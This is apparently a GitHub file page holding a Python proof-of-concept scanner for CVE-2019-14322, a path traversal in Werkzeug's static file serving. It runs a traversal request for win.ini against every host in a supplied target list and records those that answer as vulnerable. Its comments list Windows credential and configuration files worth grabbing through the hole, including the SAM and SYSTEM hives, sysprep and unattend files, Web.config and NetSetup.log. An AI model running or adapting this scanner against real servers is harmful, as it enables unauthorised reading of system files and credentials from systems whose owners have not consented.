-
Notifications
You must be signed in to change notification settings - Fork 0
/
CVE-2019-14322-scanner.py
119 lines (95 loc) · 3.71 KB
/
CVE-2019-14322-scanner.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#!/usr/bin/env python3
# Exploit Author: Emre ÖVÜNÇ
# PoC code by @faisalfs10x [https://github.com/faisalfs10x]
# Reference:
# 1) https://nvd.nist.gov/vuln/detail/CVE-2019-14322
# 2) https://palletsprojects.com/blog/werkzeug-0-15-5-released
""" $ pip3 install colorama==0.3.3, argparse, requests, urllib3
$ python3 CVE-2019-14322-scanner.py -l list_target.txt"
"""
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
import requests
from colorama import Fore, Back, Style, init
# Colors
red = '\033[91m'
green = '\033[92m'
white = '\033[97m'
yellow = '\033[93m'
bold = '\033[1m'
end = '\033[0m'
init(autoreset=True) #reset each time
def banner_motd():
print(Fore.CYAN +Style.BRIGHT +"""
CVE-2019-14322 %sPoC scanner by faisalfs10x%s - (%s12/05/2021%s)%s %s
""" % (bold, red, white, yellow, white, end))
banner_motd()
# list of sensitive files to grab in windows
# %windir%\repair\sam
# %windir%\System32\config\RegBack\SAM
# %windir%\repair\system
# %windir%\repair\software
# %windir%\repair\security
# %windir%\debug\NetSetup.log (AD domain name, DC name, internal IP, DA account)
# %windir%\iis6.log (5,6 or 7)
# %windir%\system32\logfiles\httperr\httperr1.log
# C:\sysprep.inf
# C:\sysprep\sysprep.inf
# C:\sysprep\sysprep.xml
# %windir%\Panther\Unattended.xml
# C:\inetpub\wwwroot\Web.config
# %windir%\system32\config\AppEvent.Evt (Application log)
# %windir%\system32\config\SecEvent.Evt (Security log)
# %windir%\system32\config\default.sav
# %windir%\system32\config\security.sav
# %windir%\system32\config\software.sav
# %windir%\system32\config\system.sav
# %windir%\system32\inetsrv\config\applicationHost.config
# %windir%\system32\inetsrv\config\schema\ASPNET_schema.xml
# %windir%\System32\drivers\etc\hosts (dns entries)
# %windir%\System32\drivers\etc\networks (network settings)
# %windir%\system32\config\SAM
# TLDR:
# C:/windows/system32/inetsrv/config/schema/ASPNET_schema.xml
# C:/windows/system32/inetsrv/config/applicationHost.config
# C:/windows/system32/logfiles/httperr/httperr1.log
# C:/windows/debug/NetSetup.log - (may contain AD domain name, DC name, internal IP, DA account)
# C:/windows/system32/drivers/etc/hosts - (dns entries)
# C:/windows/system32/drivers/etc/networks - (network settings)
def check(url):
# There are 3 endpoints to be tested by default, but to avoid noisy, just pick one :)
for endpoint in [
'https://{}/base_import/static/c:/windows/win.ini',
#'https://{}/web/static/c:/windows/win.ini',
#'https://{}/base/static/c:/windows/win.ini'
]:
try:
url2 = endpoint.format(url)
resp = requests.get(url2, verify=False, timeout=5)
if 'fonts' and 'files' and 'extensions' in resp.text:
print(Fore.LIGHTGREEN_EX +Style.BRIGHT +" [+] " +url2+ " : vulnerable====[+]")
with open('CVE-2019-14322_result.txt', 'a+') as output:
output.write('{}\n'.format(url2))
output.close()
else:
print(" [-] " +url+ " : not vulnerable")
except KeyboardInterrupt:
exit('User aborted!')
except:
print(" [-] " +url+ " : not vulnerable")
def main(args):
f = open(listfile, "r")
for w in f:
url = w.strip()
#print(url)
check(url)
if __name__ == '__main__':
try:
parser = argparse.ArgumentParser(description='CVE-2019-14322 scanner')
parser.add_argument("-l","--targetlist",required=True, help = "target list in file")
args = parser.parse_args()
listfile = args.targetlist
main(args)
except KeyboardInterrupt:
exit('User aborted!')